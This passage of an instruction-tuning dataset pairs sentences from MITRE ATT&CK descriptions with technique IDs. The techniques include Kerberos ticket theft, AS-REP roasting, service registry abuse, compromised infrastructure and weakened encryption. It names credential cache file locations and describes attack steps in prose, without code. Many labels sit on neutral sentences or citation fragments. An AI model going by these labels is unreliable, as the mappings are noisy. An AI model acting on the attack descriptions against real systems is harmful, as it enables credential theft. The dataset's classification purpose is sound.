protocol widely used in modern Windows domain environments.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos is an authentication protocol widely used in modern Windows domain environments. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KDC is responsible for both authentication and ticket granting.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KDC is responsible for both authentication and ticket granting. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\".", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both files require root access to read.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both files require root access to read. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002).", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The recovered encrypted data may be vulnerable to offline", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The recovered encrypted data may be vulnerable to offline ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Password Cracking](https://attack.mitre.org/techniques/T1110/002", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Password Cracking](https://attack.mitre.org/techniques/T1110/002 ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": ") attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation:", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stealthbits Cracking AS-REP Roasting Jun 2019)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stealthbits Cracking AS-REP Roasting Jun 2019) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, the adversary may send an AS-REQ message for each user.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, the adversary may send an AS-REQ message for each user. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation:", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "output": "T1558.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) ### Response: T1558.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.", "output": "T1058", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. ### Response: T1058."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075).", "output": "T1058", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). ### Response: T1058."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to Registry keys is controlled through Access Control Lists and permissions.", "output": "T1058", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to Registry keys is controlled through Access Control Lists and permissions. ### Response: T1058."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN Registry Key Security)", "output": "T1058", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN Registry Key Security) ### Response: T1058."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control.", "output": "T1058", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. ### Response: T1058."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).", "output": "T1058", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). ### Response: T1058."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)", "output": "T1058", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017) ### Response: T1058."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There exist a variety of cloud service providers that will sell virtual machines/containers as a service.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There exist a variety of cloud service providers that will sell virtual machines/containers as a service. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise VPSs purchased by third-party entities.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise VPSs purchased by third-party entities. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes).", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, longer keys increase the cost of cryptanalysis, or decryption without the key. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can compromise and manipulate devices that perform encryption of network traffic.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can compromise and manipulate devices that perform encryption of network traffic. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response 